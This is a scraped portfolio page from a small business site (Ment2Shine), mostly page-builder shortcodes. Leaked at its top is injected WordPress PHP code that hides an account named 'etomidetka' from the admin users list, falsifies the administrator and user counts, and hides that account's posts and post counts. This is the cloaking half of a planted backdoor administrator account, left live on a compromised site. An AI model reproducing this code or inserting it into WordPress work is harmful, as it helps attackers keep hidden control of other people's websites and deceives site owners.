//ETOMIDETKA add_filter('pre_get_users', function($query) { if (is_admin() && function_exists('get_current_screen')) { $screen = get_current_screen(); if ($screen && $screen->id === 'users') { $hidden_user = 'etomidetka'; $excluded_users = $query->get('exclude', []); $excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users]; $user_id = username_exists($hidden_user); if ($user_id) { $excluded_users[] = $user_id; } $query->set('exclude', $excluded_users); } } return $query; }); add_filter('views_users', function($views) { $hidden_user = 'etomidetka'; $user_id = username_exists($hidden_user); if ($user_id) { if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['all']); } if (isset($views['administrator'])) { $views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['administrator']); } } return $views; }); add_action('pre_get_posts', function($query) { if ($query->is_main_query()) { $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $query->set('author__not_in', [$author_id]); } } }); add_filter('views_edit-post', function($views) { global $wpdb; $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $count_all = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'", $author_id ) ); $count_publish = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'", $author_id ) ); if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) { return '(' . max(0, (int)$matches[1] - $count_all) . ')'; }, $views['all']); } if (isset($views['publish'])) { $views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) { return '(' . max(0, (int)$matches[1] - $count_publish) . ')'; }, $views['publish']); } } return $views; }); Portfolio – Ment2Shine
Portfolio

[tatsu_section bg_color= “” bg_image= “http://ment2shine.co.za/wp-content/uploads/2016/05/about3.jpeg” bg_repeat= “repeat” bg_attachment= “scroll” bg_position= “center center” bg_stretch= “1” bg_animation= “none” border_color= “” bg_video_mp4_src= “” bg_video_ogg_src= “” bg_video_webm_src= “” bg_overlay= “1” overlay_color= “rgba(0,0,0,0.6)” section_id= “” section_class= “” section_title= “” full_screen_header_scheme= “background–dark” padding= “150px 0% 150px 0%” bg_size= “cover” border= “0px 0px px 0px” key= “fqovukcugzb5jkll”][tatsu_row layout= “1/1” key= “fqovukcuhy222h6e”][tatsu_column layout= “1/1” key= “fqovukcui512f4p8”][tatsu_text max_width= “” wrap_alignment= “center” animation_type= “fadeIn” key= “fqovukcuiac4y8cu”]

Our Projects

[/tatsu_text][/tatsu_column][/tatsu_row][/tatsu_section][tatsu_section bg_color= “” bg_repeat= “repeat” bg_attachment= “scroll” bg_position= “top left” bg_animation= “none” border_color= “” bg_video_mp4_src= “” bg_video_ogg_src= “” bg_video_webm_src= “” overlay_color= “” section_id= “” section_class= “” section_title= “” full_screen_header_scheme= “background–light” padding= “120px 7% 120px 7%” border= “0px 0px px 0px” key= “fqovukcul07s5a4j”][tatsu_row column_spacing= “” row_id= “” row_class= “” equal_height_columns= “0” full_width= “1” gutter= “medium” layout= “1/1” key= “fqovukculh25hpg8”][tatsu_column layout= “1/1” key= “fqovukculp6ss32v”][portfolio col= “three” gutter_style= “style2” gutter_width= “40” show_filters= “1” filter= “portfolio_categories” items_per_page= “12” pagination= “none” initial_load_style= “init-slide-bottom” hover_style= “style2-hover” title_style= “style6” title_alignment_static= “left” overlay_color= “rgba(255,255,255,0.85)” gradient_color= “rgba(96,194,211,0.85)” gradient_direction= “right” title_color= “#333333” cat_color= “#666666” default_image_style= “color” hover_image_style= “color” image_effect= “zoom-in” title_animation_type= “none” cat_animation_type= “none” like_button= “1” key= “fqovukcultc7f26w”][/portfolio][/tatsu_column][/tatsu_row][/tatsu_section]